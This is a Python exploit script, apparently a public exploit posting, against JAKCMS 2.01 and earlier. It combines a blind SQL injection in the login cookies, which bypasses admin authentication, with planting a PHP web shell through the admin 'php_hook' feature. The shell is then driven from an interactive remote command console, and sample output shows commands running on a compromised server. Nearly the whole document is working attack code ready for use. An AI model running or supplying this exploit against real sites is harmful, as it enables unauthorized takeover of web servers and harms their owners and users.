JAKCMS 2.01 – Code Execution
#!/usr/bin/python # # JAKCMS <= v2.01 Code Execution Exploit # Explanation: # # During the authentication process, a check is performed to ensure that the user accessing the page is not already logged in. # This process is done by validating the cookies set in the browser as 'JAK_COOKIE_NAME' and 'JAK_COOKIE_PASS'. If the cookies # are found to be set, then an SQL statement is executed to help validate if the user is logged in. This functionaility contains # a blind SQL Injection vulnerability, triggerable through both the 'JAK_COOKIE_NAME' and 'JAK_COOKIE_PASS' variables. # # If a valid query is provided and it returns a result set, then the user is granted access to the administrative console by setting # the session variable 'JAKLoggedIn' to true. Below is a snippet of code from the 'class/class.userlogin.php' page on lines 65-76 # highlighting the vulnerable code. # # public static function jakChecklogged() # { # global $jakdb; # if ((isset($_COOKIE['JAK_COOKIE_NAME']) && isset($_COOKIE['JAK_COOKIE_PASS'])) || isset($_SESSION['JAKLoggedIn'])) { # $sql = 'SELECT * FROM '.DB_PREFIX.'user WHERE ((username = "'.COOKIE_NAME.'" AND password = "'.COOKIE_PASS.'") OR (sessi$ # $result = $jakdb->query($sql); # if ($jakdb->affected_rows > 0) { # $row = $result->fetch_assoc(); # $_SESSION['JAKLoggedIn'] = true; # # Additionally, functionality in the backend, allows an administrative user to add a "php_hook" whereby adding php content to a # page on the website. This allows an attacker essentially backdoor the website in a single request. # # [mr_me@pluto jak]$ python jakcmsCodeExecution.py -p localhost:8080 -t 192.168.1.7 -d /webapps/jak/ # # | ------------------------------------------- | # | JAKcms <= v2.01 0day Code Execution Explo!t | # | by mr_me - net-ninja.net ------------------ | # # (+) Testing proxy @ localhost:8080.. proxy is found to be working! # (+) Targeting http://192.168.1.7/ # (!) Exploit working! # (+) Entering interactive remote console (q for quit) # # mr_me@192.168.1.7# id # uid=33(www-data) gid=33(www-data) groups=33(www-data) # # mr_me@192.168.1.7# uname -a # Linux steven-desktop 2.6.32-28-generic #55-Ubuntu SMP Mon Jan 10 21:21:01 UTC 2011 i686 GNU/Linux # # mr_me@192.168.1.7# q import sys import urllib import re import urllib2 import getpass import base64 from optparse import OptionParser usage = "./%prog [<options>] -t [target] -d [directory]" usage += "\nExample: ./%prog -p localhost:8080 -t 192.168.1.7 -d /webapps/jak/" parser = OptionParser(usage=usage) parser.add_option("-p", type="string",action="store", dest="proxy", help="HTTP Proxy <server:port>") parser.add_option("-t", type="string", action="store", dest="target", help="The Target server <server:port>") parser.add_option("-d", type="string", action="store", dest="dirPath", help="Directory path to the CMS") (options, args) = parser.parse_args() def banner(): print "\n\t| -------------------------------------- |" print "\t| JAKcms <= v2.01 Code Execution Explo!t |" print "\t| by mr_me - net-ninja.net ------------- |\n" if len(sys.argv) < 5: banner() parser.print_help() sys.exit(1) def testProxy(): check = 1 sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy)) sys.stdout.flush() try: req = urllib2.Request("http://www.google.com/") req.set_proxy(options.proxy,"http") check = urllib2.urlopen(req) except: check = 0 pass if check != 0: sys.stdout.write("proxy is found to be working!\n") sys.stdout.flush() else: print "proxy failed, exiting.." sys.exit(1) def interactiveAttack(): print "(+) Entering interactive remote console (q for quit)\n" hn = "%s@%s# " % (getpass.getuser(), options.target) preBaseCmd = "" while preBaseCmd != 'q': preBaseCmd = raw_input(hn) cmd64 = base64.b64encode(preBaseCmd) cmdResp = getServerResponse(options.target + options.dirPath + "index.php?p=sitemap&lol=" + cmd64, "", "") result = cmdResp.split("<!DOCTYPE html")[0] print result def getServerResponse(exploit, header=None, data=None): try: if header != None: headers = {} headers['Cookie'] = header if data != None: data = urllib.urlencode(data) req = urllib2.Request("http://"+exploit, data, headers) if options.proxy: req.set_proxy(options.proxy,"http") check = urllib2.urlopen(req).read() except urllib.error.HTTPError, error: check = error.read() except urllib.error.URLError: print "(-) Target connection failed, check your address" sys.exit(1) return check def doEvilRequest(): print "(+) Targeting http://%s/" % (options.target) phpShell = "system(base64_decode($_GET['lol']));" req = options.target + options.dirPath + "admin/index.php?p=plugins&sp=newhook" funnycookie = "JAK_COOKIE_PASS=test; JAK_COOKIE_NAME=admin\"))+and+1=1--+;" data = {'jak_name':'lol', 'jak_hook':'php_sitemap', 'jak_plugin':'0', 'jak_exorder':'1', 'jak_phpcode': phpShell} check = getServerResponse(req, funnycookie, data) if re.search("Successful", check): print "(!) Exploit working!" interactiveAttack() else: print "(-) Exploit failed, exiting.." sys.exit(1) def main(): banner() if options.proxy: testProxy() doEvilRequest() if __name__ == "__main__": main() |